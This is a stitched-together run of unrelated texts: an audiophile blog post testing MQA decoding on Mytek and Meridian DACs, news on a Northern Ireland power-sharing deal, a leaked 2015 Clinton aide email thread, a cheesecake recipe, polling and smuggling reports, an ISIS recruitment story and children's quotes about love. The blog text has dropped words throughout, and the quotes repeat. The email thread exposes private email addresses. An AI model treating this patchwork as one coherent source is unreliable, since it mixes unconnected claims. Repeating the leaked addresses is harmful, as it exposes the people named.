between those who advocate and praise MQA and those who have concerns. I'm pretty sure there are many wishing that MQA would just go away instead of complicating music playback with yet another questionable variant.Last week, when I wrote about the idea of MQA CD, I brought up the Pono experience as another example of failure in the recent history of the industry. For Pono, the failure was perhaps rather obvious for those of us who have been listening to 24-bit and >44.1kHz music for awhile, especially those of us who have ever bothered to try an A/B-test . It does not take a genius to realise that audible differences are really quite subtle (if even there in most cases of mainstream music) and that differences do not translate to "benefit". Without clear audible benefits, there really was no way that theof the Pono music store could ever excite the music-buying public... Certainly not in the way Neil Young portrayed it (sure, the hardware PonoPlayer is unique but with its own quirks of course ).When it comes to MQA, it's certainly a bit more complicated. For one, it brings into this world a new encoding system so it's not as easy to compare unless one had a decoder that could easily be switched on/off on-the-fly. But for me at least, right from the start, there were many ideas being floated that just seemed "fishy". How is it possible to honestly say this:When you're packaging supposedly PCM 24/88+ worth of data into a 24/48 file that maintains compatibility with standard DACs? Obviously some form of lossy mechanism must be involved - is that not a form of sacrifice? And obviously in order to add the encoded data within the package to maintain standard playback compatibility, some potential lower level details will need to be discarded. I agree, it's not unreasonable in a 24-bit file because the lower bits are typically just noise, but still, a potential "sacrifice" of sorts depending on how many bits were affected - the higher the resolution of the original production, the more potential loss of low-level detail. In previous posts, I discussed digitally in software and using the Mytek Brooklyn DAC the effects of MQA decoding But there was one idea that always bothered me about the MQA claim worth thinking about... What does it mean above when MQA insists ""?What exactly does it mean when they use the word? And how is this authentication related to the sound "in the studio"?Notice that MQA is rather careful in the words they use on their website especially related to that second question linking sound quality. However, if you look at the older archives, we see Bob Stuart making a few assertions worth considering and the connotations they create. Here's one from a CEPro article in December 2014 when the press was first introduced to MQA at a company party:By around CES in January 2015, there was a Q&A posted on Meridian Unplugged and one of the answers went like this from Mr. Stuart:And later in May 2016, we see this on AudioStream, in the "MQA Reviewed" article With the above in mind, my friend with the professional quality RME Fireface ADC graciously and meticulously recorded the output of two MQA DACs for me as he did with the previous test of hardware decoding from the Mytek Brooklyn (see that post for other details like procedure and settings used). This time, the comparison is between the Mytek Brooklyn DAC and Meridian's own Explorer2 with MQA firmware. With each DAC playing either the HDtracks download or streaming off "Master" TIDAL with "Passthrough MQA" for hardware decoding, in total, there were 4 recordings made in 24/192 resolution as below:As you can imagine, with the different recordings, I can then run objective comparisons to determine how close the MQA decoded analogue output from the DAC is with the HDtracks download for each device. Plus I can compare the sound coming out of the DACs and see if there is a relative difference between whether the DAC was fed standard HDtracks data versus MQA.Since we don't have an MQA-encoder available, let's try using a popular song for this comparison. We decided on using Led Zeppelin's "Your Time Is Gonna Come" from Led Zeppelin (1969, 2014 24/96 HDtracks, DR9). Note that I had already demonstrated with the track "Good Times Bad Times" previously that the TIDAL MQA stream is essentially the same mastering as the HDtracks download. We purposely picked another track from that album because the peak level for "Your Time Is Gonna Come" is the lowest on the album (-1.7dB peak) which provides some overhead protection to reduce intersample overloading when the DAC performs its usual digital antialiasing filtering whether natively or with the MQA parameters. Furthermore, this album lights up "blue" which means that it's "" authenticated, the highest level of authentication (the lower level has a "green" light).So then, let's compare... First, comparing the HDtracks 24/96 download with MQA decoding to 24/96. As I did previously, I'll use Audio DiffMaker software to create the difference file from ~15 seconds of the song recorded at 24/192 starting at about 10 seconds into the tune.Click on the waveform composite images to have a look at the details like the frequency spectral display plot and the averaged FFT of the "difference" file. Basically what we see in both the Mytek and Meridian DAC outputs is that indeed there is very little difference between MQA and HDtracks playback. The "Waveform display" is essentially a flat line, the "Frequency Spectral display" looks like low level background noise in the ultrasonic range, and the FFT spectrum shows a few noise peaks down at -80dB or so. As I noted in my previous examination of MQA, this is good I suppose... It basically tells us that MQA is generally able to represent a 24/96 HDtracks file compressed into the 24/48 "bit bucket" (remember, this isn't a true high-res album so any slight loss in noise floor due to MQA encoding below 16-bits or so is not an issue).Now, let's see if we can do some inter-DAC comparisons!Whoa! Look at the differences now between the DACs. We see that this is comparativelydifferent compared to playing back an HDtracks file vs. MQA on the same DAC. No surprise, right? After all, we can't expect a US$2000 Mytek Brooklyn to objectively measure identical to a US$200 Meridian Explorer2 . Remember that the Audio DiffMaker program does try to compensate for small sample rate drifts and will also compensate for differences in gain (average amplitudes were only around 0.1dB between samples). Clearly the timing differences in playback are beyond the default level of compensation I'm using. This is likely why you see that Moiré pattern in the spectral frequency plot; the timing between the DACs are slightly different, more than likely undetectable in a listening A/B test but when you overlay them, a "beat frequency" can be detected.Before anyone freaks out about the magnitude of difference seen here, realize that this is the result ofanalysis using a very sensitive 24-bit ADC capable of detecting very minute frequency response differences, changes in low-level noise, and distortion - capabilities beyond the human ear/mind. Though the difference is measurably obvious, if I were to listen to the two samples in a volume matched A/B test, I wouldbet much money on passing a blind test :-). For the record, unblinded on my main sound system (TEAC UD-501 to Emotiva XSP-1 to Emotiva XPA-1L monoblocks to Paradigm Signature S8 speakers), I thought the Explorer2 sounded a little brighter and vocals slightly forward compared to the Brooklyn with this track - which one is "better" can only be judged by the ear/mind of the beholder.However, what is interesting is that the difference between the DACs playing back either the HDtracks or MQA data has remarkably similar RMS power. This observation tells us that despite whatever customizations MQA is doing for each DAC as it implements its "end-to-end technology", the playback isn't any closer between the Brooklyn and Explorer2 than as if they're playing the HDtracks file. Based on this observation, we can take one more step and try to compare the difference between the MQA vs. HDtrack differences! If the observation is correct, then there should be very little signal left over...Yup. Very little sonic variance between the DACs between HDtracks and MQA playback. At a total RMS power level in the -60's dB, I can turn my headphone amp up to 100% while playing this and barely hear much of a signal above the noise.In this example with an "MQA Studio authenticated" (blue light, supposedly "approved" in studio by the artist/rights holder) playback of Led Zeppelin's "Your Time Is Gonna Come", we see that:Very little difference with total RMS power down at -70dB over 15 seconds of music which is inaudible using both the Mytek Brooklyn and Meridian Explorer2 DACs. This is basically a confirmation of what was found previously but this time using actual hardware decoded analogue output rather than digital extraction from software-decoded TIDAL output.There is no evidence that these two MQA DACs sounded any "more similar" or "more different" to each other when playing straight high-resolution PCM compared to hardware decoded MQA.Ultimately, I think when we read about the "authentication" function of MQA, all they're saying is that the DAC "light" ensures that the. It's like a CRC embedded in a ZIP file to check for errors. Realise that this isbecause a decoded MQA 24/96 output will not be exactly bit-perfect with the studio's 24/96 "master" PCM fed into the MQA encoder (the bit-perfect master would likely be the HDtracks 24/96 download). That's all authentication means from what I have seen.I see no evidence that there is any special "authentic studio sound" that MQA decoding actually preserves or ensures. As you know, MQA's algorithms are proprietary and whatever optimizations they might have included in the firmware to make the Brooklyn and Explorer2 "certified" DACs (beyond money the companies paid to get the firmware done) did not seem to change the nature of the sound in a detectable way with the professional ADC. Putting it another way, there was no special "MQA voicing" found.As far as I can tell, the more I examine this whole MQA "thing", the less I see evidence of any actual technology that improves overall sonic fidelity. It's an encoding technique that "encapsulates" some data for ultrasonic reconstruction ( not really significant IMO ) in the lower bits typically in the noise floor, throws in the indicator light for error detection ("authentication"), and uses a sort of upsampling filter . Claims of time-domain accuracy appear meaningless, and there's nothing so far to suggest that it brings us any closer to some concept of sonic standardization. This is not surprising I suppose, last year when I spoke of DSP room correction , I already suggested the meaningless of MQA's claims of "end-to-end" authentication because even if they did somehow ensure that MQA-certified DACs were calibrated to have similar tonal quality and accuracy (perhaps an analogy might be color calibration of TV sets), they could never ensure that the final sound is of a certain fidelity! MQA has no dominion over the effects of speakers and the sound room which are of course where themajority of distortions and tonal irregularities arise.Note that I'm basing these observations on a single track (although "Studio MQA" authenticated). Although I only showed the results from one comparison point, I did have a look at another spot about 1 minute in to find similar results. Perhaps this Led Zeppelin album isn't fully representative of what MQA is capable of... Who knows. Maybe Meridian/MQA could clarify this with some objective results of what "major step forward in sound quality" they're talking about rather than just more words and innuendo. There are many obvious ways they can do this if they honestly want to "walk the talk".Thanks again to my friend for "virtually" making available his gear and valuable time :-).In other news, I was reading this analysis of MQA from SoundStage! the other day. A few comments with quotations from the article as applicable:1.Yes! Thank you for reminding people that the resulting file is actuallythan a similar 16/44 FLAC lossless compressed file. Going from 16-bits to 24-bits with compression like FLAC usually results in around 50% increase, but in many cases, these MQA files are minimally compressible in those lower 8-bits where MQA data resides and results in >50% size increase.2.Remember, this islossless (ie. bit-perfect) as we normally think of lossless FLAC or ALAC. It's "partially lossy" as I noted last year - that's as certain as the Earth revolving around the Sun. So even though it's "claimed", we need to remember that at best this is "perceptually lossless" assuming that for the piece of music, the change in noise floor due to the embedded data isn't noticeable. We need to end the "claimed" provision and call a spade a spade.3.Kudos. However I must say that criticism of MQA began for me back in January 2015 , way before the writer's article in April 2016 when Meridian started acting dodgy with their lack of A/B comparisons at audio shows Seriously folks, wasn't itthat what they were proposing had a strong ring of improbability to it even with the initial announcement back in late 2014? Are audio technology writers that out of touch with how things work that questions weren't asked right from the beginning? Maybe it's the lack of courage to swim against the tide of other publications? Or perhaps they were all under the influence of Meridian's fancy public relations party (check out this ridiculous video ; "bought and paid for" comes to mind) at the The Shard in December 2014?4.Nice. Again, about time an audiophile writer admits to this given the presence of obvious objective evidence . So what does one make of J. V. Serinus' claim in December 2014 that ""? What kind ofare we to have in subjective impressions like that? Did the company present a fair comparison for him? Does his hearing need to be checked? Was he caught up in the hype and excitement? Ultimately, would or should this kind of testimony have much affect on audiophiles at large?Well folks, after years of pure subjective "analysis" and opinion-making with little, I honestly do hope that the audiophile hobby can come to terms with the importance of being. I believe it all has to become more objective and more rational in the days ahead for the sake of credibility compared to other technologically based hobbies. Perhaps we'll talk more about this another time soon...Hope you're all having a great time enjoying the music! Happy Easter. -DUBLIN, Ireland ― What started four weeks ago as a sex scandal that threatened to plunge Northern Ireland into crisis has ended in a new political agreement that strengthens the province’s unique power-sharing arrangements. British prime minister Gordon Brown and his Irish counterpart Brian Cowen flew to Hillsborough Castle outside Belfast before dawn yesterday to celebrate the interparty deal after 10 days of round-the-clock negotiations. The agreement, worked out by the Protestant Democratic Unionist Party (DUP) and Sinn Fein, which aspires to a united Ireland, provides the last elements in the process of devolution painstakingly negotiated over two decades. The power-sharing Northern Ireland government will take on police and justice powers on April 12 with the help of a British Government grant of £800 million ($1.25 billion). The communities will cooperate on the handling of contentious Orange Order parades through Catholic areas. Unionists place much importance on the right of the Orange Order, which celebrates the defeat of Catholic rebels in 1690 by King William of Orange, to parade along traditional routes, even where they are offensive to Catholic residents. Contentious parades have caused major rioting in past years. The power-sharing threatened to crash in early January after an affair between 59-year-old Iris Robinson, wife of Northern Ireland’s First Minister Peter Robinson, and a 19-year-old youth, Kirk McCambley, became public. Robinson stepped down temporarily as First Minister while government lawyers investigated if financial irregularities existed in connection with his wife’s affair, but he has been cleared. The prospect of imminent disaster focused Catholic and Protestant politicians who had made the community government dysfunctional over squabbles about Irish language rights, north-south cooperation and loyalist parades. Robinson and Sinn Fein Deputy First Minister Martin McGuinness appeared together with the two prime ministers for a press concerence. “This might be the day when the political process comes of age,” McGuinness said. Robinson said that the deal, achieved after the longest round of continuous negotiations in the tortuous history of the peace process, would secure the power-sharing assembly “for decades to come.” He added, “politics is working, we are not going back to the past.” The normally humorless First Minister drew laughter when he speculated that if negotiating were an Olympic sport, “we would enter a team, we would win a gold medal, and we would then start negotiating to decide what flag and anthem we would have.” While both prime ministers talked about the deal making history, the bitterness between the two top ministers was still on show at the press conference. Robinson declined to shake hands with McGuinness when invited to do so by a reporter. “I’m not into political stunts,” he said. The DUP leader has consistently refused to shake hands publicly with McGuinness, a former Irish Republican Army leader, though they privately shook hands last month when McGuinness sympathized with Robinson’s family difficulties. The devolution of policing and justice powers by the British Government is of critical importance to Sinn Fein, which persuaded its voters to accept the partition of Ireland partly on the basis that nationalists would jointly control law and order. Before the Northern Ireland “Troubles” began 40 years ago, a majority unionist government controlled a paramilitary police force known as the Royal Ulster Constabulary. The police force was demilitarized under direct British rule and renamed the Police Service of Northern Ireland (PSNI) to make it more widely acceptable. According to the agreement, a six-member working group is to be established to provide local solutions that respect the rights of those who parade as well as nationalist residents. “This is the last chapter of a long and troubled story and the beginning of a new chapter after decades of violence, years of talks, weeks of stalemate,” commented Brown, whose prospects in this year’s British general election will have been improved by the success of negotiations he and Cowen have sponsored. Cowen said he believed the deal laid the foundations for a new future “built on mutual respect for people of different traditions, equality and tolerance and respect for each other’s political aspirations and cultural expressions and inheritance.” The end of 120 hours of negotiations came just before midnight Feb. 4 when Robinson secured agreement from his assembly party. He still faces opposition from a hard-line unionist faction, the Traditional Unionist Voice, led by Jim Allister. Allister alleged that the DUP had caved in and accepted a deal they had originally rejected. “The deal hasn’t changed, only the snowmen of the DUP, who melted once the heat came on,” he said. -Re: NYT piece From:pir@hrcoffice.com To: jake.sullivan@gmail.com, jennifer.m.palmieri@gmail.com CC: cheryl.mills@gmail.com, nmerrill@hrcoffice.com, john.podesta@gmail.com, DKendall@wc.com, hsamuelson@cdmillsgroup.com Date: 2015-03-23 10:05 Subject: Re: NYT piece 1st candidate for the top job jumped into the race today. really early announcement. didn't realize canada also had an election coming up. Was thinking something as simple as -- there will be a choice in this next election -- just look at what the first Republican out of the gate believes .... On Mon, Mar 23, 2015 at 8:00 AM, Jennifer Palmieri > wrote: Good idea re sending mika the statement, will do that. Mulling Cruz, could be good if we had something meaningful or really funny to say. Sent from my iPhone > On Mar 23, 2015, at 7:40 AM, Jake Sullivan > wrote: > > What do you guys think about HRC saying something about Cruz today? Some kind of light hearted contrast? Would make news. > > > >> On Mar 23, 2015, at 7:38 AM, Philippe Reines > wrote: >> >> Maybe Mika would read the whole statement if she had it. >> >> >> From: Jennifer Palmieri >> Sent: Monday, March 23, 2015 7:15 AM >> To: Jake Sullivan >> Cc: Cheryl Mills; Philippe Reines; Nick Merrill; John Podesta; David Kendall; Heather Samuelson >> Subject: Re: NYT piece >> >> >> Nick is asking them to update the story to make that point clear. >> >> Twitter is more interested in the substance of the emails (spontaneous vs non-spontaneous), which I think is manageable and much better than have the reaction that she lied in describing her emailing practice with staff. >> >> Morning Joe discussion is coming up, so trying to reach Mika and will report back after that. Ted Cruz announcing today helps. >> >> Sent from my iPadg >> >>> On Mar 23, 2015, at 6:19 AM, Jake Sullivan > wrote: >>> >>> The key issue, in my view, is that the piece implies the quoted emails are from personal when they are not. >>> >>> >>> >>>> On Mar 23, 2015, at 6:17 AM, Jennifer Palmieri > wrote: >>>> >>>> I think that person, the degree to which they exist, is Ezra Klein. And we can do it with him today. >>>> >>>> Others should weigh in on Congress, but I have had a lot of success with Cummings and Schiff decrying selective leaks and think we should do that here. >>>> >>>> >>>> Sent from my iPhone >>>> >>>>> On Mar 23, 2015, at 5:41 AM, Cheryl Mills > wrote: >>>>> >>>>> Jen/Nick >>>>> >>>>> Lloyd Grove used to be the person who would hold journalist accountable - who is that now and is there an opportunity for that in real time today? >>>>> >>>>> On Cong mischaracterizing emails to nyt (or NYT doing it themselves) - what is strategy for having Cong counter the misinformation with the release of the actual emails so they speak for themselves as opposed to having nyt selectively mischaracterize what they claim they have never seen? >>>>> >>>>> cdm -The idea of a cheesecake came to me naturally, I will have made an ice cream but I still have no turbine in my house (yes it is a call: D) And because a cheesecake with the jam of milk it was not enough greedy (I am very greedy) I thought to a cheesecake on a base of pretzels, a cream cheese to the jam of milk, caramel icing with salted butter with mascarpone chantilly rosettes. (Gold-gas-nomic) It's up to you to test the recipe now;) Do you want this jam to make the recipe? Nothing more simple I invite you on the site of the Bonne Box and to not miss anything (it would be a pity) subscribe to you: here! Recipe: - 200g of Pretzel- 75g butter- 450 g of Philadelphia nature- 150g of thick cream- 120g of milk jam- 100g caster sugar- 3 eggs- 100g of sugar- 1 c to s of water- 125g of liquid cream- 30g of salted butter- 100g of mascarpone liquid cream- 40g of icing sugarIn a bowl, reduce the pretzels into crumbs.Melt the butter in a microwave-safe bowl.Mix it with pretzel crumbs evenly.In a circle 20 cm in diameter, lower the biscuit dough by packing with a glass.Reserve for 15 minutes.Preheat oven to 150 ° C.In another bowl, combine the Philadelphia with the fresh cream and the milk jam.Add sugar and mix well.Finally, add the eggs one at a time and mix until the mixture is smooth and homogeneous.Remove the mold from the refrigerator, pour the mixture over the biscuit base, distribute it with a Maryse.Sprinkle the cheesecake with the powdered sugar sachet.Bake at 150 ° C for 50min. (attention it depends on the ovens, it can be less or more)Once cooked, it should slightly shake.Let it cool completely in the oven and then store it cool for at least 12 hours.Prepare your caramel salted butter.Pour the sugar and water into a saucepan and cook over medium heat.You will see the caramel form at boiling point.When the color is slightly browned, add the liquid cream and then the diced butter.Mix well. (Tip: the darker the color of the caramel the more your caramel will be bitter so be careful)Let cool.After 12 hours, remove the cheesecake.Pour the salted caramel over the top of the cheesecake (no problem if it runs on the sides, it's more greedy)Prepare the whipped cream mascarpone.In your drummer, whip the mascarpone cream with the icing sugar until a firm texture is obtained.Using a socket pocket and a fluted socket, form rosettes on the top of the cheesecake (1 rosette per part therefore 10 rosettes). -Questions Someone sent me a link to a blog. Now, it’s pretty rare that I mention a blog that has only one post so far, but it’s a pretty big post. The blog is Prop 19 Questions and the first post has… 850 questions. (I’m taking their word for it, I haven’t counted them myself.) There are some good questions, and I actually started answering them, but after about 35, I got bored. There are a bunch that can easily be answered “No” or “Yes” just through plain reading of the text of the proposed law. There’s also a large number that would be answered “depending on local regulations,” and a few where the answer would be “Yeah, lawyers are going to make some money on that one.” But there’s also a considerable number where the answer is “Nobody knows. Just as with any new law or policy, we’ll have to see what happens and adapt to situations as they arise.” After reading all the questions, I realized that there are some questions that have been left out! So here are my additions to the 850 questions about Prop 19… -Democratic presidential candidate Hillary Rodham Clinton delivers a speech at Texas Southern University in Houston, Thursday, June 4, 2015. Clinton is calling for an expansion of early voting and pushing back against Republican-led efforts to restrict voting access, laying down a marker on voting rights at the start of her presidential campaign. (AP Photo/Pat Sullivan) There aren't all that many policy issues where Republican and Democratic voters agree. But for a while there, automatic voter registration was one of them. Back in March, when Oregon passed a groundbreaking law to automatically register voters using data from the Department of Motor Vehicles, a majority of Americans in both parties said they'd like to see a similar measure implemented in their own state. The bipartisan support on that issue stood in contrast to another reform, same-day registration, that Democrats largely embraced and Republicans generally rejected. That seems to have changed. Last Thursday, Hillary Clinton spoke out in favor of a slate of voting reforms, accusing Republicans of trying to suppress turnout and calling for every eligible citizen to be registered at age 18 unless they opt out. "Voting should not be a partisan issue and there are some good voting reforms that have been endorsed by members of both parties,” said Jonathan Brater of the Brennan Center for Justice at the New York University School of Law, one of several voting rights organizations to applaud the speech. But Clinton's Republican rivals largely lambasted her proposals, suggesting that Clinton's reforms, if implemented, would encourage voter fraud. And while the public's overall level of support for automatic registration has held steady and remained relatively high, a new HuffPost/YouGov poll finds that Republicans' willingness to entertain the idea has fallen significantly in the past three months. Back in March, 53 percent of Republicans supported their state introducing a law like Oregon's. Today, just 38 percent are in favor of automatically registering citizens who are eligible to vote. The two polls aren't exactly identical. The earlier survey asked about a state-level proposal rather than a national one. It also introduced a further qualifier on how citizens would be registered -- that is, through the DMV, rather than universally. But there's an even more direct way of measuring the degree to which support for the idea has eroded among Republican voters. While half of those polled were asked simply whether they favored or opposed automatic registration, the rest were first told that the idea had been recently proposed by Clinton. Among that group, GOP support dropped an additional 10 points to just 28 percent. "The partisan way she’s framed the issue -- by blaming Republicans for all the voting problems -- makes it less likely these changes will actually be implemented should she be elected president," Rick Hasen, a law professor at the University of California, Irvine, wrote Monday at Slate, calling for Clinton to abandon the idea as a campaign talking point. "Instead, she’s offering red meat to her supporters while alienating the allies she would need to get any reforms enacted... That message will likely alienate moderate Republicans who could be her natural partners for reforms in the future." While automatic registration may have lost the patina of bipartisan support, it remains relatively popular. Americans as a whole support automatic registration by more than a 10-point margin, regardless of whether Clinton's name is attached to it. About a quarter of Americans also say they'd like to see their state expand early voting, while 37 percent say their state's policies are about right. Only 9 percent want to see early voting reduced. More broadly, a majority of the public -- 61 percent -- say that low voter turnout is at least a moderate problem. Many, though, aren't sure it's the government's problem to fix. Forty-six percent of people say the government is already doing enough to make sure that everyone who wants to vote in elections is able to, while 32 percent say it isn't. Democrats say by a 24-point margin that the government doesn't do enough, while Republicans say by a 55-point margin that it does. The HuffPost/YouGov poll consisted of 1,000 completed interviews conducted June 5-7 among U.S. adults using a sample selected from YouGov's opt-in online panel to match the demographics and other characteristics of the adult U.S. population. The Huffington Post has teamed up with YouGov to conduct daily opinion polls. You can learn more about this project and take part in YouGov's nationally representative opinion polling. Data from all HuffPost/YouGov polls can be found here. More details on the poll's methodology are available here. -REYHANLI, Turkey — A court in the Turkish border town Reyhanli has begun hearing the first case of oil smuggling from Syria, which has brought Turkey under intense international pressure. Al-Monitor was provided full access to the indictment and the transcript of the first open public hearing, which took place Sept. 15. As the judge has not yet decided the case, Al-Monitor was strictly advised to only report on the generic themes of what the prosecutor detailed with extreme precision and unquestionable evidence. The case lays out how a small village with fewer than 2,000 inhabitants on the border with Syria — called the Besaslan village attached to Reyhanli — transformed itself into a sort of cooperative where everyone mutually agreed to take part in illegal oil smuggling. The families who don’t want to actively participate are given hush money — 1,500 Turkish lira weekly ($663), which comes to a considerable amount in monthly terms (6,000 Turkish lira, or $2,650). It is a skillfully organized network where even family ties are overridden by the alleged chief of the network, referred to as A.B. The indictment also lays out how border patrols take part, exploiting their privileged status to benefit from the smuggling. A military officer, for example, told the judge that the commander of the border post advised the village men “not to carry out the smuggling above ground, but underground.” The indictment reveals how the nature of smuggling changed from transporting the oil in plastic cans to laying pipes underground. A separate military officer also revealed that while the thermal cameras at the border leave no blind spot, the village men are advised to cross into Syria from an area where there are a lot of olive trees, and to turn their vehicles’ lights off. The village men learn about military movements in advance and use that critical information not to get caught. The Catch-22 is that the other side of the border is controlled by Jabhat al-Nusra militants, and the village smugglers share that critical information with the militants. Those familiar with the case, who spoke to Al-Monitor on condition of anonymity because of the sensitivity of the matter, express concern over the serious clashes of interests between the two sides of the border. “These villagers made more than $800 million in 16 months that they probably could not have imagined in their lifetime," a source said. "While they only focus on making easy money, the militants on the other side of the border don’t even care about their lives and they learn about our military’s movements. This not only puts our security at risk here, but also threatens the entire security of the nation.” The same sources in the case also said that the Syrians had stolen weapons from the border post and that the commander asked for help from the same village men. “Believe it or not, they went to the other side and brought back all those weapons. This is how the military is watching out for our security,” the source told Al-Monitor. The transcript also reveals that military personnel sought help from these villagers — because of their close relations with the Jabhat al-Nusra militants — in getting back stolen Turkish vehicles that had been taken to the Syrian side. The military personnel complain about their lack of orders for fighting against the smugglers, which appears to have resulted in lax enforcement all the way around. “We only have 50-60 patrols on the border, whereas there are more than 1,000 smugglers,” one military officer tells the judge. “We do all we can within our capabilities.” The transcript also reveals that the defense lawyers weighed in on the political nature of the issue, accusing the government of creating an environment for the border to be open to exploitation because of the government's desire to topple the Syrian regime. The judge asked for bail of 750,000 Turkish lira ($332,000) for the alleged leader of the network. “The judge was utterly shocked when the money was delivered in cash the next day. He thought this was an astronomical amount that would keep these people behind bars,” one source told Al-Monitor. The alleged leader of the network and 19 others are accused in the case, but none are now behind bars. “The prosecutor might have surprised the government with his efficiency and professionalism, but he can’t bring justice to a gravely troubling, crumbling sense of justice and security here by himself,” one source seeking to remain anonymous told Al-Monitor. “This is clearly a set-up case to show to the Europeans that Turkey is doing it all by the book, but if you are really serious about understanding what is taking place on the ground, this should not fool you.” The same source added, “If they are really serious about ending smuggling and therefore [ending] indirectly working with these extremists on the Syrian side, they can also shoot one or two smugglers just like they do now on the border with Kobani. Then we will understand they are serious about what they are talking about. Otherwise, this is only a theatrical show.” The general sense among the locals is that even if the judge gives the accused jail time, it won’t be more than three or four years, and that it is all worth the money they made in less than two years. The wealth of the alleged leader of this network is now estimated to be around $2 million. “Even the women in the village cherished the smuggling business, as they saved the money to prepare a richer dowry for their girls. And let’s be frank. Although money is sweet, these extremists find comfort among the Sunni population here. So when people cooperate with smugglers, they don’t consider them to be a threat to their own security or to the nation.” -BANGALORE: Foreign agents are out to lure poor Muslims to join the insurgents in Iraq, the Intelligence Bureau has alerted Karnataka. The agents, many disguised as students, are looking for men to take on the government in Iraq to establish an Islamic Caliphate. Fighting under the banner of the Islamic State of Iraq and Syria (ISIS), the insurgent group is offering huge salaries, according to a source. Though the ISIS does not enjoy a presence in Karnataka, sleuths fear an increasing number of youths across India are sympathising with the organisation. Home Minister K J George told Express policemen were being sensitised to the problem after reports emerged of the ISIS gaining ground in Tamil Nadu and Maharashtra. “We are keeping an eye on all suspects,” he said. Some agents in Bangalore, masquerading as students, are tempting vulnerable Muslims to join the war. “ The recruits don’t have to fight in the war zone. ISIS needs back-end support. So, these agents trap poor families with annual pay packages of about Rs 25-30 lakh,” a source said. According to the Indian Council of Cultural Relations, Bangalore is home to 5,000 foreign students from countries across the globe, including Muslim-majority ones such as Bangladesh and North African ones like Algeria, Sudan and Nigeria. Syed Tanveer Ahamed, an executive member of a Muslim organisation called Mahaz, told Express no community leader would allow foreigners to lure their youth. However, he said, community elders had no means of keeping tabs on foreign citizens. “It is the duty of the police to watch out for extremist elements,” he said. In the south, the relatively new terror group has penetrated Kerala and Tamil Nadu. In fact, the first Indian known to have joined ISIS in Syria is Haza Fakruddin from Cuddalore in Tamil Nadu. ISIS chief recruiter Gul Mohammad Mariker, who is said to have indoctrinated 100 people, is also from that state. Also Read: Shias in Karnataka Waiting for Call to Volunteer in Iraq -Love and Marriage WHAT IS THE PROPER AGE TO GET MARRIED? "Eighty-four. Because at that age, you don't have to work anymore, and you can spend all your time loving each other." (Judy, 8) "Eighty-four. Because at that age, you don't have to work anymore, and you can spend all your time loving each other." (Judy, 8) "Once I'm done with kindergarten, I'm going to find me a wife." (Tommy, 5) WHAT DO MOST PEOPLE DO ON A DATE? "On the first date, they just tell each other lies,and that usually gets them interested enough to go for a second date." (Mike, 10) "On the first date, they just tell each other lies,and that usually gets them interested enough to go for a second date." (Mike, 10) WHEN IS IT OKAY TO KISS SOMEONE? "You should never kiss a girl unless you have enough bucks to buy her a big ring and her own VCR, 'cause she'll want to have videos of the wedding." (Jim, 10) "You should never kiss a girl unless you have enough bucks to buy her a big ring and her own VCR, 'cause she'll want to have videos of the wedding." (Jim, 10) "Never kiss in front of other people. It's a big embarrassing thing if anybody sees you. But if nobody sees you, I might be willing to try it with a handsome boy, but just for a few hours." (Kally, 9) THE GREAT DEBATE: IS IT BETTER TO BE SINGLE OR MARRIED? It's better for girls to be single, but not for boys. Boys need somebody to clean up after them." (Lynette, 9) It's better for girls to be single, but not for boys. Boys need somebody to clean up after them." (Lynette, 9) "It gives me a headache to think about that stuff. I'm just a kid. I don't need that kind of trouble." (Kenny, 7) CONCERNING WHY LOVE HAPPENS BETWEEN TWO PEOPLE: "No one is sure why it happens, but I heard it has something to do with how you smell. That's why perfume and deodorant are so popular." Jan, 9) "No one is sure why it happens, but I heard it has something to do with how you smell. That's why perfume and deodorant are so popular." Jan, 9) "I think you're supposed to get shot with an arrow or something, but the rest of it isn't supposed to be so painful." (Harlen, 8) ON WHAT FALLING IN LOVE IS LIKE: "Like an avalanche where you have to run for your life." (Roger, 9) "Like an avalanche where you have to run for your life." (Roger, 9) "If falling in love is anything like learning to spell, I don't want to do it. It takes to long to learn." (Leo, 7) ON THE ROLE OF GOOD LOOKS IN LOVE AND ROMANCE: "If you want to be loved by somebody who isn't already in your family, it doesn't hurt to be beautiful." (Jeanne, 8) "If you want to be loved by somebody who isn't already in your family, it doesn't hurt to be beautiful." (Jeanne, 8) "It isn't always just how you look. Look at me. I'm handsome like anything and I haven't got anybody to marry me yet." (Gary, 7) "Beauty is skin deep. But how rich you are can last a long time." (Christine, 9) CONCERNING WHY LOVERS OFTEN HOLD HANDS: "They want to make sure their rings don't fall off, because they paid good money for them." (David, 8) "They want to make sure their rings don't fall off, because they paid good money for them." (David, 8) CONFIDENTIAL OPINIONS ABOUT LOVE: "I'm in favor of love as long as it doesn't happen when 'The Simpsons' are on TV." (Anita, 6) "I'm in favor of love as long as it doesn't happen when 'The Simpsons' are on TV." (Anita, 6) "Love will find you, even if you are trying to hide from it. I've been trying to hide from it since I was five, but the girls keep finding me." (Bobby, 8) "I'm not rushing into being in love. I'm finding fourth grade hard enough." (Regina, 10) PERSONAL QUALITIES NECESSARY TO BE A GOOD LOVER: "One of you should know how to write a check. Because, even if you have tons of love, there is still going to be a lot of bills." (Ava, 8) "One of you should know how to write a check. Because, even if you have tons of love, there is still going to be a lot of bills." (Ava, 8) SOME SUREFIRE WAYS TO MAKE A PERSON FALL IN LOVE WITH YOU: "Tell them that you own a whole bunch of candy stores." (Del, 6) "Tell them that you own a whole bunch of candy stores." (Del, 6) "Don't do things like have smelly, green sneakers. You might get attention, but attention ain't the same thing as love." (Alonzo, 9) "One way is to take the girl out to eat. Make sure it's something she likes to eat. French fries usually works for me." (Bart, 9) HOW CAN YOU TELL IF TWO ADULTS EATING DINNER AT A RESTAURANT ARE IN LOVE ? "Just see if the man picks up the check. That's how you can tell if he's in love." (John, 9) "Just see if the man picks up the check. That's how you can tell if he's in love." (John, 9) "Lovers will just be staring at each other and their food will get cold. Other people care more about the food." (Brad, 8) "It's love if they order one of those desserts that are on fire. They like to order those because it's just like their hearts are on fire." (Christine, 9) WHAT MOST PEOPLE ARE THINKING WHEN THEY SAY, "I LOVE YOU": "The person is thinking: Yeah, I really do love him, but I hope he showers at least once a day." (Michelle, 9) "The person is thinking: Yeah, I really do love him, but I hope he showers at least once a day." (Michelle, 9) HOW A PERSON LEARNS TO KISS: "You learn it right on the spot, when the 'gooshy' feelings get the best of you." (Doug, 7) "You learn it right on the spot, when the 'gooshy' feelings get the best of you." (Doug, 7) "It might help if you watched soap operas all day." (Carin, 9) WHEN IS IT OKAY TO KISS SOMEONE? "It's never okay to kiss a boy. They always slobber all over you. That's why I stopped doing it." (Jean, 10) "It's never okay to kiss a boy. They always slobber all over you. That's why I stopped doing it." (Jean, 10) HOW TO MAKE LOVE ENDURE: "Spend most of your time loving instead of going to work." (Tom, 7) 